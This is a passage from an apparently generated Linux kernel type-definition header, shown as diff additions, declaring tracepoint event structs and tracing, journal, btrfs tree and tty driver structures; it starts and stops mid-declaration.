trace_event_raw_tcp_probe { + struct trace_entry ent; + __u8 saddr[28]; + __u8 daddr[28]; + __u16 sport; + __u16 dport; + __u16 family; + __u32 mark; + __u16 data_len; + __u32 snd_nxt; + __u32 snd_una; + __u32 snd_cwnd; + __u32 ssthresh; + __u32 snd_wnd; + __u32 srtt; + __u32 rcv_wnd; + __u64 sock_cookie; + const void *skbaddr; + const void *skaddr; + char __data[0]; +}; + +struct trace_event_raw_tcp_retransmit_synack { + struct trace_entry ent; + const void *skaddr; + const void *req; + __u16 sport; + __u16 dport; + __u16 family; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + char __data[0]; +}; + +struct trace_event_raw_tcp_send_reset { + struct trace_entry ent; + const void *skbaddr; + const void *skaddr; + int state; + enum sk_rst_reason reason; + __u8 saddr[28]; + __u8 daddr[28]; + char __data[0]; +}; + +struct trace_event_raw_thermal_temperature { + struct trace_entry ent; + u32 __data_loc_thermal_zone; + int id; + int temp_prev; + int temp; + char __data[0]; +}; + +struct trace_event_raw_thermal_zone_trip { + struct trace_entry ent; + u32 __data_loc_thermal_zone; + int id; + int trip; + enum thermal_trip_type trip_type; + char __data[0]; +}; + +struct trace_event_raw_tick_stop { + struct trace_entry ent; + int success; + int dependency; + char __data[0]; +}; + +struct trace_event_raw_timer_base_idle { + struct trace_entry ent; + bool is_idle; + unsigned int cpu; + char __data[0]; +}; + +struct trace_event_raw_timer_class { + struct trace_entry ent; + void *timer; + char __data[0]; +}; + +struct trace_event_raw_timer_expire_entry { + struct trace_entry ent; + void *timer; + unsigned long now; + void *function; + unsigned long baseclk; + char __data[0]; +}; + +struct trace_event_raw_timer_start { + struct trace_entry ent; + void *timer; + void *function; + unsigned long expires; + unsigned long bucket_expiry; + unsigned long now; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_tlb_flush { + struct trace_entry ent; + int reason; + unsigned long pages; + char __data[0]; +}; + +struct trace_event_raw_tmigr_connect_child_parent { + struct trace_entry ent; + void *child; + void *parent; + unsigned int lvl; + unsigned int numa_node; + unsigned int num_children; + u32 groupmask; + char __data[0]; +}; + +struct trace_event_raw_tmigr_connect_cpu_parent { + struct trace_entry ent; + void *parent; + unsigned int cpu; + unsigned int lvl; + unsigned int numa_node; + unsigned int num_children; + u32 groupmask; + char __data[0]; +}; + +struct trace_event_raw_tmigr_cpugroup { + struct trace_entry ent; + u64 wakeup; + void *parent; + unsigned int cpu; + char __data[0]; +}; + +struct trace_event_raw_tmigr_group_and_cpu { + struct trace_entry ent; + void *group; + void *parent; + unsigned int lvl; + unsigned int numa_node; + u32 childmask; + u8 active; + u8 migrator; + char __data[0]; +}; + +struct trace_event_raw_tmigr_group_set { + struct trace_entry ent; + void *group; + unsigned int lvl; + unsigned int numa_node; + char __data[0]; +}; + +struct trace_event_raw_tmigr_handle_remote { + struct trace_entry ent; + void *group; + unsigned int lvl; + char __data[0]; +}; + +struct trace_event_raw_tmigr_idle { + struct trace_entry ent; + u64 nextevt; + u64 wakeup; + void *parent; + unsigned int cpu; + char __data[0]; +}; + +struct trace_event_raw_tmigr_update_events { + struct trace_entry ent; + void *child; + void *group; + u64 nextevt; + u64 group_next_expiry; + u64 child_evt_expiry; + unsigned int group_lvl; + unsigned int child_evtcpu; + u8 child_active; + u8 group_active; + char __data[0]; +}; + +struct trace_event_raw_track_foreign_dirty { + struct trace_entry ent; + char name[32]; + u64 bdi_id; + ino_t ino; + unsigned int memcg_id; + ino_t cgroup_ino; + ino_t page_cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_tx_rx_evt { + struct trace_entry ent; + char wiphy_name[32]; + u32 tx; + u32 rx; + char __data[0]; +}; + +struct trace_event_raw_udp_fail_queue_rcv_skb { + struct trace_entry ent; + int rc; + __u16 sport; + __u16 dport; + __u16 family; + __u8 saddr[28]; + __u8 daddr[28]; + char __data[0]; +}; + +struct trace_event_raw_vector_activate { + struct trace_entry ent; + unsigned int irq; + bool is_managed; + bool can_reserve; + bool reserve; + char __data[0]; +}; + +struct trace_event_raw_vector_alloc { + struct trace_entry ent; + unsigned int irq; + unsigned int vector; + bool reserved; + int ret; + char __data[0]; +}; + +struct trace_event_raw_vector_alloc_managed { + struct trace_entry ent; + unsigned int irq; + unsigned int vector; + int ret; + char __data[0]; +}; + +struct trace_event_raw_vector_config { + struct trace_entry ent; + unsigned int irq; + unsigned int vector; + unsigned int cpu; + unsigned int apicdest; + char __data[0]; +}; + +struct trace_event_raw_vector_free_moved { + struct trace_entry ent; + unsigned int irq; + unsigned int cpu; + unsigned int vector; + bool is_managed; + char __data[0]; +}; + +struct trace_event_raw_vector_mod { + struct trace_entry ent; + unsigned int irq; + unsigned int vector; + unsigned int cpu; + unsigned int prev_vector; + unsigned int prev_cpu; + char __data[0]; +}; + +struct trace_event_raw_vector_reserve { + struct trace_entry ent; + unsigned int irq; + int ret; + char __data[0]; +}; + +struct trace_event_raw_vector_setup { + struct trace_entry ent; + unsigned int irq; + bool is_legacy; + int ret; + char __data[0]; +}; + +struct trace_event_raw_vector_teardown { + struct trace_entry ent; + unsigned int irq; + bool is_managed; + bool has_reserved; + char __data[0]; +}; + +struct trace_event_raw_vm_unmapped_area { + struct trace_entry ent; + unsigned long addr; + unsigned long total_vm; + unsigned long flags; + unsigned long length; + unsigned long low_limit; + unsigned long high_limit; + unsigned long align_mask; + unsigned long align_offset; + char __data[0]; +}; + +struct trace_event_raw_vma_mas_szero { + struct trace_entry ent; + struct maple_tree *mt; + unsigned long start; + unsigned long end; + char __data[0]; +}; + +struct trace_event_raw_vma_store { + struct trace_entry ent; + struct maple_tree *mt; + struct vm_area_struct *vma; + unsigned long vm_start; + unsigned long vm_end; + char __data[0]; +}; + +struct trace_event_raw_wake_queue { + struct trace_entry ent; + char wiphy_name[32]; + u16 queue; + u32 reason; + char __data[0]; +}; + +struct trace_event_raw_wake_reaper { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_wakeup_source { + struct trace_entry ent; + u32 __data_loc_name; + u64 state; + char __data[0]; +}; + +struct trace_event_raw_wbc_class { + struct trace_entry ent; + char name[32]; + long nr_to_write; + long pages_skipped; + int sync_mode; + int for_kupdate; + int for_background; + int for_reclaim; + int range_cyclic; + long range_start; + long range_end; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_wbt_lat { + struct trace_entry ent; + char name[32]; + unsigned long lat; + char __data[0]; +}; + +struct trace_event_raw_wbt_stat { + struct trace_entry ent; + char name[32]; + s64 rmean; + u64 rmin; + u64 rmax; + s64 rnr_samples; + s64 rtime; + s64 wmean; + u64 wmin; + u64 wmax; + s64 wnr_samples; + s64 wtime; + char __data[0]; +}; + +struct trace_event_raw_wbt_step { + struct trace_entry ent; + char name[32]; + const char *msg; + int step; + unsigned long window; + unsigned int bg; + unsigned int normal; + unsigned int max; + char __data[0]; +}; + +struct trace_event_raw_wbt_timer { + struct trace_entry ent; + char name[32]; + unsigned int status; + int step; + unsigned int inflight; + char __data[0]; +}; + +struct trace_event_raw_wiphy_delayed_work_queue { + struct trace_entry ent; + char wiphy_name[32]; + void *instance; + void *func; + unsigned long delay; + char __data[0]; +}; + +struct trace_event_raw_wiphy_enabled_evt { + struct trace_entry ent; + char wiphy_name[32]; + bool enabled; + char __data[0]; +}; + +struct trace_event_raw_wiphy_id_evt { + struct trace_entry ent; + char wiphy_name[32]; + u64 id; + char __data[0]; +}; + +struct trace_event_raw_wiphy_netdev_evt { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + char __data[0]; +}; + +struct trace_event_raw_wiphy_netdev_id_evt { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u64 id; + char __data[0]; +}; + +struct trace_event_raw_wiphy_netdev_mac_evt { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 sta_mac[6]; + char __data[0]; +}; + +struct trace_event_raw_wiphy_only_evt { + struct trace_entry ent; + char wiphy_name[32]; + char __data[0]; +}; + +struct trace_event_raw_wiphy_wdev_cookie_evt { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u64 cookie; + char __data[0]; +}; + +struct trace_event_raw_wiphy_wdev_evt { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + char __data[0]; +}; + +struct trace_event_raw_wiphy_wdev_link_evt { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_wiphy_work_event { + struct trace_entry ent; + char wiphy_name[32]; + void *instance; + void *func; + char __data[0]; +}; + +struct trace_event_raw_wiphy_work_worker_start { + struct trace_entry ent; + char wiphy_name[32]; + char __data[0]; +}; + +struct trace_event_raw_workqueue_activate_work { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_raw_workqueue_execute_end { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_raw_workqueue_execute_start { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_raw_workqueue_queue_work { + struct trace_entry ent; + void *work; + void *function; + u32 __data_loc_workqueue; + int req_cpu; + int cpu; + char __data[0]; +}; + +struct trace_event_raw_writeback_bdi_register { + struct trace_entry ent; + char name[32]; + char __data[0]; +}; + +struct trace_event_raw_writeback_class { + struct trace_entry ent; + char name[32]; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_dirty_inode_template { + struct trace_entry ent; + char name[32]; + ino_t ino; + unsigned long state; + unsigned long flags; + char __data[0]; +}; + +struct trace_event_raw_writeback_folio_template { + struct trace_entry ent; + char name[32]; + ino_t ino; + unsigned long index; + char __data[0]; +}; + +struct trace_event_raw_writeback_inode_template { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned long state; + __u16 mode; + unsigned long dirtied_when; + char __data[0]; +}; + +struct trace_event_raw_writeback_pages_written { + struct trace_entry ent; + long pages; + char __data[0]; +}; + +struct trace_event_raw_writeback_queue_io { + struct trace_entry ent; + char name[32]; + unsigned long older; + long age; + int moved; + int reason; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_sb_inodes_requeue { + struct trace_entry ent; + char name[32]; + ino_t ino; + unsigned long state; + unsigned long dirtied_when; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_single_inode_template { + struct trace_entry ent; + char name[32]; + ino_t ino; + unsigned long state; + unsigned long dirtied_when; + unsigned long writeback_index; + long nr_to_write; + unsigned long wrote; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_work_class { + struct trace_entry ent; + char name[32]; + long nr_pages; + dev_t sb_dev; + int sync_mode; + int for_kupdate; + int range_cyclic; + int for_background; + int reason; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_write_inode_template { + struct trace_entry ent; + char name[32]; + ino_t ino; + int sync_mode; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_x86_exceptions { + struct trace_entry ent; + unsigned long address; + unsigned long ip; + unsigned long error_code; + char __data[0]; +}; + +struct trace_event_raw_x86_fpu { + struct trace_entry ent; + struct fpu *fpu; + bool load_fpu; + u64 xfeatures; + u64 xcomp_bv; + char __data[0]; +}; + +struct trace_event_raw_x86_irq_vector { + struct trace_entry ent; + int vector; + char __data[0]; +}; + +struct trace_event_raw_xdp_bulk_tx { + struct trace_entry ent; + int ifindex; + u32 act; + int drops; + int sent; + int err; + char __data[0]; +}; + +struct trace_event_raw_xdp_cpumap_enqueue { + struct trace_entry ent; + int map_id; + u32 act; + int cpu; + unsigned int drops; + unsigned int processed; + int to_cpu; + char __data[0]; +}; + +struct trace_event_raw_xdp_cpumap_kthread { + struct trace_entry ent; + int map_id; + u32 act; + int cpu; + unsigned int drops; + unsigned int processed; + int sched; + unsigned int xdp_pass; + unsigned int xdp_drop; + unsigned int xdp_redirect; + char __data[0]; +}; + +struct trace_event_raw_xdp_devmap_xmit { + struct trace_entry ent; + int from_ifindex; + u32 act; + int to_ifindex; + int drops; + int sent; + int err; + char __data[0]; +}; + +struct trace_event_raw_xdp_exception { + struct trace_entry ent; + int prog_id; + u32 act; + int ifindex; + char __data[0]; +}; + +struct trace_event_raw_xdp_redirect_template { + struct trace_entry ent; + int prog_id; + u32 act; + int ifindex; + int err; + int to_ifindex; + u32 map_id; + int map_index; + char __data[0]; +}; + +struct trace_event_raw_xhci_dbc_log_request { + struct trace_entry ent; + struct dbc_request *req; + bool dir; + unsigned int actual; + unsigned int length; + int status; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_ctrl_ctx { + struct trace_entry ent; + u32 drop; + u32 add; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_ctx { + struct trace_entry ent; + int ctx_64; + unsigned int ctx_type; + dma_addr_t ctx_dma; + u8 *ctx_va; + unsigned int ctx_ep_num; + u32 __data_loc_ctx_data; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_doorbell { + struct trace_entry ent; + u32 slot; + u32 doorbell; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_ep_ctx { + struct trace_entry ent; + u32 info; + u32 info2; + u64 deq; + u32 tx_info; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_free_virt_dev { + struct trace_entry ent; + void *vdev; + unsigned long long out_ctx; + unsigned long long in_ctx; + int slot_id; + u16 current_mel; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_msg { + struct trace_entry ent; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_portsc { + struct trace_entry ent; + u32 busnum; + u32 portnum; + u32 portsc; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_ring { + struct trace_entry ent; + u32 type; + void *ring; + dma_addr_t enq; + dma_addr_t deq; + dma_addr_t enq_seg; + dma_addr_t deq_seg; + unsigned int num_segs; + unsigned int stream_id; + unsigned int cycle_state; + unsigned int bounce_buf_len; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_slot_ctx { + struct trace_entry ent; + u32 info; + u32 info2; + u32 tt_info; + u32 state; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_trb { + struct trace_entry ent; + u32 type; + u32 field0; + u32 field1; + u32 field2; + u32 field3; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_urb { + struct trace_entry ent; + u32 __data_loc_devname; + void *urb; + unsigned int pipe; + unsigned int stream; + int status; + unsigned int flags; + int num_mapped_sgs; + int num_sgs; + int length; + int actual; + int epnum; + int dir_in; + int type; + int slot_id; + char __data[0]; +}; + +struct trace_event_raw_xhci_log_virt_dev { + struct trace_entry ent; + void *vdev; + unsigned long long out_ctx; + unsigned long long in_ctx; + int devnum; + int state; + int speed; + u8 portnum; + u8 level; + int slot_id; + char __data[0]; +}; + +struct trace_export { + struct trace_export __attribute__((btf_type_tag("rcu"))) *next; + void (*write)(struct trace_export *, const void *, unsigned int); + int flags; +}; + +struct trace_func_repeats { + unsigned long ip; + unsigned long parent_ip; + unsigned long count; + u64 ts_last_call; +}; + +struct trace_kprobe { + struct dyn_event devent; + struct kretprobe rp; + unsigned long __attribute__((btf_type_tag("percpu"))) *nhit; + const char *symbol; + struct trace_probe tp; +}; + +struct trace_mark { + unsigned long long val; + char sym; +}; + +struct trace_min_max_param { + struct mutex *lock; + u64 *val; + u64 *min; + u64 *max; +}; + +struct tracer_opt; + +struct tracer_flags; + +struct trace_option_dentry { + struct tracer_opt *opt; + struct tracer_flags *flags; + struct trace_array *tr; + struct dentry *entry; +}; + +struct trace_options { + struct tracer *tracer; + struct trace_option_dentry *topts; +}; + +union upper_chunk; + +struct trace_pid_list { + raw_spinlock_t lock; + struct irq_work refill_irqwork; + union upper_chunk *upper[256]; + union upper_chunk *upper_list; + union lower_chunk *lower_list; + int free_upper_chunks; + int free_lower_chunks; +}; + +struct trace_print_flags { + unsigned long mask; + const char *name; +}; + +struct trace_uprobe_filter { + rwlock_t rwlock; + int nr_systemwide; + struct list_head perf_events; +}; + +struct trace_probe_event { + unsigned int flags; + struct trace_event_class class; + struct trace_event_call call; + struct list_head files; + struct list_head probes; + struct trace_uprobe_filter filter[0]; +}; + +struct trace_probe_log { + const char *subsystem; + const char **argv; + int argc; + int index; +}; + +struct trace_subsystem_dir { + struct list_head list; + struct event_subsystem *subsystem; + struct trace_array *tr; + struct eventfs_inode *ei; + int ref_count; + int nr_events; +}; + +struct trace_vif_entry { + enum nl80211_iftype vif_type; + bool p2p; + char vif_name[16]; +} __attribute__((packed)); + +struct trace_switch_entry { + struct trace_vif_entry vif; + unsigned int link_id; + struct trace_chandef_entry old_chandef; + struct trace_chandef_entry new_chandef; +} __attribute__((packed)); + +struct trace_uprobe { + struct dyn_event devent; + struct uprobe_consumer consumer; + struct path path; + char *filename; + struct uprobe *uprobe; + unsigned long offset; + unsigned long ref_ctr_offset; + unsigned long nhit; + struct trace_probe tp; +}; + +struct tracefs_dir_ops { + int (*mkdir)(const char *); + int (*rmdir)(const char *); +}; + +struct tracefs_fs_info { + kuid_t uid; + kgid_t gid; + umode_t mode; + unsigned int opts; +}; + +struct tracefs_inode { + struct inode vfs_inode; + struct list_head list; + unsigned long flags; + void *private; +}; + +struct tracepoint { + const char *name; + struct static_key key; + struct static_call_key *static_call_key; + void *static_call_tramp; + void *iterator; + void *probestub; + int (*regfunc)(void); + void (*unregfunc)(void); + struct tracepoint_func __attribute__((btf_type_tag("rcu"))) *funcs; +}; + +struct traceprobe_parse_context { + struct trace_event_call *event; + const char *funcname; + const struct btf_type *proto; + const struct btf_param *params; + s32 nr_params; + struct btf *btf; + const struct btf_type *last_type; + u32 last_bitoffs; + u32 last_bitsize; + struct trace_probe *tp; + unsigned int flags; + int offset; +}; + +struct tracer { + const char *name; + int (*init)(struct trace_array *); + void (*reset)(struct trace_array *); + void (*start)(struct trace_array *); + void (*stop)(struct trace_array *); + int (*update_thresh)(struct trace_array *); + void (*open)(struct trace_iterator *); + void (*pipe_open)(struct trace_iterator *); + void (*close)(struct trace_iterator *); + void (*pipe_close)(struct trace_iterator *); + ssize_t (*read)(struct trace_iterator *, struct file *, char __attribute__((btf_type_tag("user"))) *, size_t, loff_t *); + ssize_t (*splice_read)(struct trace_iterator *, struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); + void (*print_header)(struct seq_file *); + enum print_line_t (*print_line)(struct trace_iterator *); + int (*set_flag)(struct trace_array *, u32, u32, int); + int (*flag_changed)(struct trace_array *, u32, int); + struct tracer *next; + struct tracer_flags *flags; + int enabled; + bool print_max; + bool allow_instances; + bool noboot; +}; + +struct tracer_flags { + u32 val; + struct tracer_opt *opts; + struct tracer *trace; +}; + +struct tracer_opt { + const char *name; + u32 bit; +}; + +typedef int (*cmp_func_t)(const void *, const void *); + +struct tracer_stat { + const char *name; + void * (*stat_start)(struct tracer_stat *); + void * (*stat_next)(void *, int); + cmp_func_t stat_cmp; + int (*stat_show)(struct seq_file *, void *); + void (*stat_release)(void *); + int (*stat_headers)(struct seq_file *); +}; + +struct tracing_log_err { + struct list_head list; + struct err_info info; + char loc[128]; + char *cmd; +}; + +typedef int (*tracing_map_cmp_fn_t)(void *, void *); + +struct tracing_map_field { + tracing_map_cmp_fn_t cmp_fn; + union { + atomic64_t sum; + unsigned int offset; + }; +}; + +struct tracing_map_array; + +struct tracing_map_ops; + +struct tracing_map { + unsigned int key_size; + unsigned int map_bits; + unsigned int map_size; + unsigned int max_elts; + atomic_t next_elt; + struct tracing_map_array *elts; + struct tracing_map_array *map; + const struct tracing_map_ops *ops; + void *private_data; + struct tracing_map_field fields[6]; + unsigned int n_fields; + int key_idx[3]; + unsigned int n_keys; + struct tracing_map_sort_key sort_key; + unsigned int n_vars; + atomic64_t hits; + atomic64_t drops; +}; + +struct tracing_map_array { + unsigned int entries_per_page; + unsigned int entry_size_shift; + unsigned int entry_shift; + unsigned int entry_mask; + unsigned int n_pages; + void **pages; +}; + +struct tracing_map_elt { + struct tracing_map *map; + struct tracing_map_field *fields; + atomic64_t *vars; + bool *var_set; + void *key; + void *private_data; +}; + +struct tracing_map_entry { + u32 key; + struct tracing_map_elt *val; +}; + +struct tracing_map_ops { + int (*elt_alloc)(struct tracing_map_elt *); + void (*elt_free)(struct tracing_map_elt *); + void (*elt_clear)(struct tracing_map_elt *); + void (*elt_init)(struct tracing_map_elt *); +}; + +struct tracing_map_sort_entry { + void *key; + struct tracing_map_elt *elt; + bool elt_copied; + bool dup; +}; + +struct track { + unsigned long addr; + int cpu; + int pid; + unsigned long when; +}; + +struct track_data { + u64 track_val; + bool updated; + unsigned int key_len; + void *key; + struct tracing_map_elt elt; + struct action_data *action_data; + struct hist_trigger_data *hist_data; +}; + +struct trampoline_header { + u64 start; + u64 efer; + u32 cr4; + u32 flags; + u32 lock; +}; + +struct transaction_chp_stats_s { + unsigned long cs_chp_time; + __u32 cs_forced_to_close; + __u32 cs_written; + __u32 cs_dropped; +}; + +struct transaction_s { + journal_t *t_journal; + tid_t t_tid; + enum { + T_RUNNING = 0, + T_LOCKED = 1, + T_SWITCH = 2, + T_FLUSH = 3, + T_COMMIT = 4, + T_COMMIT_DFLUSH = 5, + T_COMMIT_JFLUSH = 6, + T_COMMIT_CALLBACK = 7, + T_FINISHED = 8, + } t_state; + unsigned long t_log_start; + int t_nr_buffers; + struct journal_head *t_reserved_list; + struct journal_head *t_buffers; + struct journal_head *t_forget; + struct journal_head *t_checkpoint_list; + struct journal_head *t_shadow_list; + struct list_head t_inode_list; + unsigned long t_max_wait; + unsigned long t_start; + unsigned long t_requested; + struct transaction_chp_stats_s t_chp_stats; + atomic_t t_updates; + atomic_t t_outstanding_credits; + atomic_t t_outstanding_revokes; + atomic_t t_handle_count; + transaction_t *t_cpnext; + transaction_t *t_cpprev; + unsigned long t_expires; + ktime_t t_start_time; + unsigned int t_synchronous_commit: 1; + int t_need_data_flush; + struct list_head t_private_list; +}; + +struct trc_stall_chk_rdr { + int nesting; + int ipi_to_cpu; + u8 needqs; +}; + +struct tree_block { + struct { + struct rb_node rb_node; + u64 bytenr; + }; + u64 owner; + struct btrfs_key key; + u8 level; + bool key_ready; +}; + +typedef struct tree_desc_s tree_desc; + +struct tree_descr { + const char *name; + const struct file_operations *ops; + int mode; +}; + +struct tree_mod_root { + u64 logical; + u8 level; +}; + +struct tree_mod_elem { + struct rb_node node; + u64 logical; + u64 seq; + enum btrfs_mod_log_op op; + int slot; + u64 generation; + struct btrfs_disk_key key; + u64 blockptr; + struct { + int dst_slot; + int nr_items; + } move; + struct tree_mod_root old_root; +}; + +struct trie { + struct key_vector kv[1]; +}; + +struct trie_stat { + unsigned int totdepth; + unsigned int maxdepth; + unsigned int tnodes; + unsigned int leaves; + unsigned int nullpointers; + unsigned int prefixes; + unsigned int nodesizes[32]; +}; + +struct ts_ops; + +struct ts_state; + +struct ts_config { + struct ts_ops *ops; + int flags; + unsigned int (*get_next_block)(unsigned int, const u8 **, struct ts_config *, struct ts_state *); + void (*finish)(struct ts_config *, struct ts_state *); +}; + +struct ts_ops { + const char *name; + struct ts_config * (*init)(const void *, unsigned int, gfp_t, int); + unsigned int (*find)(struct ts_config *, struct ts_state *); + void (*destroy)(struct ts_config *); + void * (*get_pattern)(struct ts_config *); + unsigned int (*get_pattern_len)(struct ts_config *); + struct module *owner; + struct list_head list; +}; + +struct ts_state { + unsigned int offset; + char cb[48]; +}; + +struct tsc_adjust { + s64 bootval; + s64 adjusted; + unsigned long nextcheck; + bool warned; +}; + +struct tsinfo_reply_data { + struct ethnl_reply_data base; + struct kernel_ethtool_ts_info ts_info; + struct ethtool_ts_stats stats; +}; + +struct tso_t { + int next_frag_idx; + int size; + void *data; + u16 ip_id; + u8 tlen; + bool ipv6; + u32 tcp_seq; +}; + +struct tsq_tasklet { + struct tasklet_struct tasklet; + struct list_head head; +}; + +struct tty_buffer { + union { + struct tty_buffer *next; + struct llist_node free; + }; + unsigned int used; + unsigned int size; + unsigned int commit; + unsigned int lookahead; + unsigned int read; + bool flags; + long: 0; + u8 data[0]; +}; + +struct tty_bufhead { + struct tty_buffer *head; + struct work_struct work; + struct mutex lock; + atomic_t priority; + struct tty_buffer sentinel; + struct llist_head free; + atomic_t mem_used; + int mem_limit; + struct tty_buffer *tail; +}; + +struct tty_port; + +struct tty_operations; + +struct tty_driver { + struct kref kref; + struct cdev **cdevs; + struct module *owner; + const char *driver_name; + const char *name; + int name_base; + int major; + int minor_start; + unsigned int num; + short type; + short subtype; + struct ktermios init_termios; + unsigned long flags; + struct proc_dir_entry *proc_entry; + struct tty_driver *other; + struct tty_struct **ttys; + struct tty_port **ports; + struct ktermios **termios; + void *driver_state; + const struct tty_operations *ops; + struct list_head tty_drivers; +}; + +struct tty_file_private { + struct tty_struct *tty; + struct file *file; + struct list_head list; +}; + +struct tty_ldisc_ops; + +struct tty_ldisc { + struct tty_ldisc_ops *ops; + struct tty_struct *tty; +}; + +struct tty_ldisc_ops { + char *name; + int num; + int (*open)(struct tty_struct *); + void (*close)(struct tty_struct *); + void (*flush_buffer)(struct tty_struct *); + ssize_t (*read)(struct tty_struct *, struct file *, u8 *, size_t, void **, unsigned long); + ssize_t (*write)(struct tty_struct *, struct file *, const u8 *, size_t); + int (*ioctl)(struct tty_struct *, unsigned int, unsigned long); + int (*compat_ioctl)(struct tty_struct *, unsigned int, unsigned long); + void (*set_termios)(struct tty_struct *, const struct ktermios *); + __poll_t (*poll)(struct tty_struct *, struct file *, struct poll_table_struct *); + void (*hangup)(struct tty_struct *); + void (*receive_buf)(struct tty_struct *, const u8 *, const u8 *, size_t); + void (*write_wakeup)(struct tty_struct *); + void (*dcd_change)(struct tty_struct *, bool); + size_t (*receive_buf2)(struct tty_struct *, const u8 *, const u8 *, size_t); + void (*lookahead_buf)(struct tty_struct *, const u8 *, const u8 *, size_t); + struct module *owner; +}; + +struct winsize; + +struct tty_operations { + struct tty_struct * (*lookup)(struct tty_driver *, struct file *, int); + int (*install)(struct tty_driver *, struct tty_struct *); + void (*remove)(struct tty_driver *, struct tty_struct *); + int (*open)(struct tty_struct *, struct file *); + void (*close)(struct tty_struct *, struct file *); + void (*shutdown)(struct tty_struct *); + void (*cleanup)(struct tty_struct *); + ssize_t (*write)(struct tty_struct *, const u8 *, size_t); + int (*put_char)(struct tty_struct *, u8); + void (*flush_chars)(struct tty_struct *); + unsigned int (*write_room)(struct tty_struct *); + unsigned int (*chars_in_buffer)(struct tty_struct *); + int (*ioctl)(struct tty_struct *, unsigned int, unsigned long); + long (*compat_ioctl)(struct tty_struct *, unsigned int, unsigned long); + void (*set_termios)(struct tty_struct *, const struct ktermios *); + void (*throttle)(struct tty_struct *); + void (*unthrottle)(struct tty_struct *); + void (*stop)(struct tty_struct *); + void (*start)(struct tty_struct *); + void (*hangup)(struct tty_struct *); + int (*break_ctl)(struct tty_struct *, int); + void (*flush_buffer)(struct tty_struct *); + int (*ldisc_ok)(struct tty_struct *, int); + void (*set_ldisc)(struct tty_struct *); + void (*wait_until_sent)(struct tty_struct *, int); + void (*send_xchar)(struct tty_struct *, u8); + int (*tiocmget)(struct tty_struct *); + int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); + int (*resize)(struct tty_struct *, struct winsize *); + int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); + int (*get_serial)(struct tty_struct *, struct serial_struct *); + int (*set_serial)(struct tty_struct *, struct serial_struct *); + void (*show_fdinfo)(struct tty_struct *, struct seq_file *); + int (*proc_show)(struct seq_file *, void *); +}; + +struct tty_port_operations; + +struct tty_port_client_operations; + +struct tty_port { + struct tty_bufhead buf; + struct tty_struct *tty; + struct tty_struct *itty; + const struct tty_port_operations *ops; + const struct tty_port_client_operations *client_ops; + spinlock_t lock; + int blocked_open; + int count; + wait_queue_head_t open_wait; + wait_queue_head_t delta_msr_wait; + unsigned long flags; + unsigned long iflags; + unsigned char console: 1; + struct mutex mutex; + struct mutex buf_mutex; + u8 *xmit_buf; + struct { + union { + struct __kfifo kfifo; + u8 *type; + const u8 *const_type; + char (*rectype)[0]; + u8 *ptr; + const u8 *ptr_const; + }; + u8 buf[0]; + } xmit_fifo; + unsigned int close_delay; + unsigned int closing_wait; + int drain_delay; + struct kref kref; + void *client_data; +}; + +struct tty_port_client_operations { + size_t (*receive_buf)(struct tty_port *, const u8 *, const u8 *, size_t); + void (*lookahead_buf)(struct tty_port *, const u8 *, const u8 *, size_t); + void (*write_wakeup)(struct tty_port *); +}; + +struct tty_port_operations { + bool (*carrier_raised)(struct tty_port *); + void (*dtr_rts)(struct tty_port *, bool); + void (*shutdown)(struct tty_port *); + int (*activate)(struct tty_port *, struct tty_struct *); + void (*destruct)(struct tty_port *); +}; + +struct winsize { + unsigned short ws_row; + unsigned short ws_col; + unsigned short ws_xpixel; + unsigned short ws_ypixel; +}; + +struct tty_struct { + struct kref kref; + int index; + struct device *dev; + struct tty_driver *driver; + struct tty_port *port; + const struct tty_operations *ops; + struct tty_ldisc *ldisc; + struct ld_semaphore ldisc_sem; + struct mutex atomic_write_lock; + struct mutex legacy_mutex; + struct mutex throttle_mutex; + struct rw_semaphore termios_rwsem; + struct mutex winsize_mutex; + struct ktermios termios; + struct ktermios termios_locked; + char name[64]; + unsigned long flags; + int count; + unsigned int receive_room; + struct winsize winsize; + struct { + spinlock_t lock; + bool stopped; + bool tco_stopped; + } flow; + struct { + struct pid *pgrp; + struct pid *session; + spinlock_t lock; + unsigned char pktstatus; + bool packet; + } ctrl; + bool hw_stopped; + bool closing; + int flow_change; + struct tty_struct *link; + struct fasync_struct *fasync; + wait_queue_head_t write_wait; + wait_queue_head_t read_wait; + struct work_struct hangup_work; + void *disc_data; + void *driver_data; + spinlock_t files_lock; + int 